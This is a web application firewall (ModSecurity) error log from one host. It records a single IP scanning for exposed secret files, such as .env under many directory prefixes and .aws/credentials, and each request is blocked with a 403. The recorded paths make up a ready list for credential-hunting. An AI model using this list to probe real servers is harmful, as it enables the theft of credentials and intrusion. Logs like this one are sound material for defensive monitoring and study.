[Sun Jun 08 02:26:15.068745 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aETYp7Uz9CVwWtZ9cYd_wgAAAAI&quot;]
[Sun Jun 08 02:26:15.068959 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aETYp7Uz9CVwWtZ9cYd_wgAAAAI&quot;]
[Sun Jun 08 02:26:15.069134 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aETYp7Uz9CVwWtZ9cYd_wgAAAAI&quot;]
[Sun Jun 08 02:26:16.268138 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aETYqLUz9CVwWtZ9cYd_wwAAAAI&quot;]
[Sun Jun 08 02:26:16.268338 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aETYqLUz9CVwWtZ9cYd_wwAAAAI&quot;]
[Sun Jun 08 02:26:16.268508 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aETYqLUz9CVwWtZ9cYd_wwAAAAI&quot;]
[Sun Jun 08 02:26:17.614317 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aETYqbUz9CVwWtZ9cYd_xAAAAAI&quot;]
[Sun Jun 08 02:26:17.614533 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aETYqbUz9CVwWtZ9cYd_xAAAAAI&quot;]
[Sun Jun 08 02:26:17.614713 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aETYqbUz9CVwWtZ9cYd_xAAAAAI&quot;]
[Sun Jun 08 02:26:19.154287 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aETYq7Uz9CVwWtZ9cYd_xQAAAAI&quot;]
[Sun Jun 08 02:26:19.154507 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aETYq7Uz9CVwWtZ9cYd_xQAAAAI&quot;]
[Sun Jun 08 02:26:19.154695 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aETYq7Uz9CVwWtZ9cYd_xQAAAAI&quot;]
[Sun Jun 08 02:26:21.756917 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aETYrbUz9CVwWtZ9cYd_xwAAAAI&quot;]
[Sun Jun 08 02:26:21.757103 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aETYrbUz9CVwWtZ9cYd_xwAAAAI&quot;]
[Sun Jun 08 02:26:21.757268 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aETYrbUz9CVwWtZ9cYd_xwAAAAI&quot;]
[Sun Jun 08 02:26:22.778975 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aETYrrUz9CVwWtZ9cYd_yAAAAAI&quot;]
[Sun Jun 08 02:26:22.779199 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aETYrrUz9CVwWtZ9cYd_yAAAAAI&quot;]
[Sun Jun 08 02:26:22.779398 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aETYrrUz9CVwWtZ9cYd_yAAAAAI&quot;]
[Sun Jun 08 02:26:23.890571 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aETYr7Uz9CVwWtZ9cYd_yQAAAAI&quot;]
[Sun Jun 08 02:26:23.890784 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aETYr7Uz9CVwWtZ9cYd_yQAAAAI&quot;]
[Sun Jun 08 02:26:23.891006 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aETYr7Uz9CVwWtZ9cYd_yQAAAAI&quot;]
[Sun Jun 08 02:26:25.175617 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aETYsbUz9CVwWtZ9cYd_ygAAAAI&quot;]
[Sun Jun 08 02:26:25.175846 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aETYsbUz9CVwWtZ9cYd_ygAAAAI&quot;]
[Sun Jun 08 02:26:25.176046 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aETYsbUz9CVwWtZ9cYd_ygAAAAI&quot;]
[Sun Jun 08 02:26:26.611516 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aETYsrUz9CVwWtZ9cYd_ywAAAAI&quot;]
[Sun Jun 08 02:26:26.611743 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aETYsrUz9CVwWtZ9cYd_ywAAAAI&quot;]
[Sun Jun 08 02:26:26.611963 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aETYsrUz9CVwWtZ9cYd_ywAAAAI&quot;]
[Sun Jun 08 02:26:28.223262 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aETYtLUz9CVwWtZ9cYd_zAAAAAI&quot;]
[Sun Jun 08 02:26:28.223446 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aETYtLUz9CVwWtZ9cYd_zAAAAAI&quot;]
[Sun Jun 08 02:26:28.223647 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aETYtLUz9CVwWtZ9cYd_zAAAAAI&quot;]
[Sun Jun 08 02:26:29.436169 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aETYtbUz9CVwWtZ9cYd_zQAAAAI&quot;]
[Sun Jun 08 02:26:29.436391 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aETYtbUz9CVwWtZ9cYd_zQAAAAI&quot;]
[Sun Jun 08 02:26:29.436627 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aETYtbUz9CVwWtZ9cYd_zQAAAAI&quot;]
